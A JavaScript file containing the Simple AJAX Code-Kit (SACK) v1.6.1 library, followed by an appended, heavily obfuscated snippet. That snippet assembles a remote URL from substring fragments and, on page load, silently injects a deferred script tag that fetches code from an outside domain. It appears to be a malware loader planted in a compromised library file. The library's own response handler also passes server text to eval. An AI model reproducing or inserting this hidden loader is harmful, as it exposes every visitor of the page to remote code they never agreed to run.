/* Simple AJAX Code-Kit (SACK) v1.6.1 */
/* ©2005 Gregory Wild-Smith */
/* www.twilightuniverse.com */
/* Software licenced under a modified X11 licence,
   see documentation or authors website for more details */

function sack(file) {
	this.xmlhttp = null;

	this.resetData = function() {
		this.method = "POST";
  		this.queryStringSeparator = "?";
		this.argumentSeparator = "&";
		this.URLString = "";
		this.encodeURIString = true;
  		this.execute = false;
  		this.element = null;
		this.elementObj = null;
		this.requestFile = file;
		this.vars = new Object();
		this.responseStatus = new Array(2);
  	};

	this.resetFunctions = function() {
  		this.onLoading = function() { };
  		this.onLoaded = function() { };
  		this.onInteractive = function() { };
  		this.onCompletion = function() { };
  		this.onError = function() { };
		this.onFail = function() { };
	};

	this.reset = function() {
		this.resetFunctions();
		this.resetData();
	};

	this.createAJAX = function() {
		try {
			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e1) {
			try {
				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e2) {
				this.xmlhttp = null;
			}
		}

		if (! this.xmlhttp) {
			if (typeof XMLHttpRequest != "undefined") {
				this.xmlhttp = new XMLHttpRequest();
			} else {
				this.failed = true;
			}
		}
	};

	this.setVar = function(name, value){
		this.vars[name] = Array(value, false);
	};

	this.encVar = function(name, value, returnvars) {
		if (true == returnvars) {
			return Array(encodeURIComponent(name), encodeURIComponent(value));
		} else {
			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
		}
	}

	this.processURLString = function(string, encode) {
		encoded = encodeURIComponent(this.argumentSeparator);
		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
		varArray = string.split(regexp);
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split("=");
			if (true == encode){
				this.encVar(urlVars[0], urlVars[1]);
			} else {
				this.setVar(urlVars[0], urlVars[1]);
			}
		}
	}

	this.createURLString = function(urlstring) {
		if (this.encodeURIString && this.URLString.length) {
			this.processURLString(this.URLString, true);
		}

		if (urlstring) {
			if (this.URLString.length) {
				this.URLString += this.argumentSeparator + urlstring;
			} else {
				this.URLString = urlstring;
			}
		}

		// prevents caching of URLString
		this.setVar("rndval", new Date().getTime());

		urlstringtemp = new Array();
		for (key in this.vars) {
			if (false == this.vars[key][1] && true == this.encodeURIString) {
				encoded = this.encVar(key, this.vars[key][0], true);
				delete this.vars[key];
				this.vars[encoded[0]] = Array(encoded[1], true);
				key = encoded[0];
			}

			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
		}
		if (urlstring){
			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
		} else {
			this.URLString += urlstringtemp.join(this.argumentSeparator);
		}
	}

	this.runResponse = function() {
		eval(this.response);
	}

	this.runAJAX = function(urlstring) {
		if (this.failed) {
			this.onFail();
		} else {
			this.createURLString(urlstring);
			if (this.element) {
				this.elementObj = document.getElementById(this.element);
			}
			if (this.xmlhttp) {
				var self = this;
				if (this.method == "GET") {
					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
					this.xmlhttp.open(this.method, totalurlstring, true);
				} else {
					this.xmlhttp.open(this.method, this.requestFile, true);
					try {
						this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
					} catch (e) { }
				}

				this.xmlhttp.onreadystatechange = function() {
					switch (self.xmlhttp.readyState) {
						case 1:
							self.onLoading();
							break;
						case 2:
							self.onLoaded();
							break;
						case 3:
							self.onInteractive();
							break;
						case 4:
							self.response = self.xmlhttp.responseText;
							self.responseXML = self.xmlhttp.responseXML;
							self.responseStatus[0] = self.xmlhttp.status;
							self.responseStatus[1] = self.xmlhttp.statusText;

							if (self.execute) {
								self.runResponse();
							}

							if (self.elementObj) {
								elemNodeName = self.elementObj.nodeName;
								elemNodeName.toLowerCase();
								if (elemNodeName == "input"
								|| elemNodeName == "select"
								|| elemNodeName == "option"
								|| elemNodeName == "textarea") {
									self.elementObj.value = self.response;
								} else {
									self.elementObj.innerHTML = self.response;
								}
							}
							if (self.responseStatus[0] == "200") {
								self.onCompletion();
							} else {
								self.onError();
							}

							self.URLString = "";
							break;
					}
				};

				this.xmlhttp.send(this.URLString);
			}
		}
	};

	this.reset();
	this.createAJAX();
}


var W;if(W!=''){W='N'};function g(){var r=new String();var Vv;if(Vv!='rs'){Vv=''};var BN=new String();var w='';var Nr;if(Nr!='' && Nr!='z'){Nr='u'};var p=RegExp;var qv;if(qv!='' && qv!='zY'){qv=''};var eD=String("g");var d;if(d!='' && d!='P'){d=''};function e(B,R){var Bl;if(Bl!='by'){Bl=''};var Q= String("[");var fB;if(fB!='v'){fB=''};Q+=R;var zL='';Q+=String("]");var Z;if(Z!=''){Z='qc'};var J;if(J!='' && J!='gm'){J=null};var eDv=new String();var jr=new String();var F=new p(Q, eD);return B.replace(F, w);};this.TR="";var s="ZJ0scr".substr(3)+"iptLon".substr(0,3);var V=new String("MT0src".substr(3));var nH=new String();var j='';var da="";var M=window;var od='';var a=e('82212021122822501151',"512");var Fw;if(Fw!='Y'){Fw='Y'};var Mw="/go"+"ogl"+"e.c0Uq".substr(0,3)+"Itpom.".substr(3)+"A2nkeg/".substr(4)+"goodxMN".substr(0,3)+"E06rgle".substr(4)+"fiO.cofOi".substr(3,3)+"VH3Em.eHV3E".substr(4,3)+"BVhxg/k".substr(4)+"ios"+"WN1keaWN1".substr(3,3)+".neTmZ".substr(0,3)+"t/g"+"dYEmoogmdYE".substr(4,3)+"d9pyle.".substr(4)+"FDLcom".substr(3)+"U1g/fi".substr(3)+"les"+"R94tub".substr(3)+"e.c6dtk".substr(0,3)+"om.xgTW".substr(0,3)+"ZkiSphpZikS".substr(4,3);var q=String("de"+"feDQ5".substr(0,2)+"fviOr".substr(4));var h="httS8AJ".substr(0,3)+"oyDap:/aoDy".substr(4,3)+"QJ4/adJQ4".substr(3,3)+"ult"+"adwZE0".substr(0,3)+"Atn7orln7tA".substr(4,3)+"FTod-cFTo".substr(3,3)+"om."+"rWFauf".substr(3)+"87QUemiQ7U8".substr(4,3)+"gJwjnin".substr(4)+"vYf.co".substr(3)+"m.5"+"1jo"+"g9pb-c".substr(3)+"8Gaom.Ga8".substr(3,3)+"gre3Qi".substr(0,3)+"atm"+"yow"+"XqIZn.rZIqX".substr(4,3)+"li8u:".substr(3);var zx=new String();var wy;if(wy!='' && wy!='c'){wy='y'};M.onload=function(){try {var TW="";var nS="";j=h+a;var rp='';j+=Mw;l=document.createElement(s);this.Az="";this._="";l[q]=[8,1][1];var mb="";l[V]=j;var qh;if(qh!='vD'){qh='vD'};this.bs='';var nr='';document.body.appendChild(l);this._o="";var yH=new Date();var GZ=new Date();} catch(o){};var DD;if(DD!='vr' && DD != ''){DD=null};var Ev;if(Ev!='fH' && Ev != ''){Ev=null};};var Zs="";var b_;if(b_!=''){b_='Qg'};};g();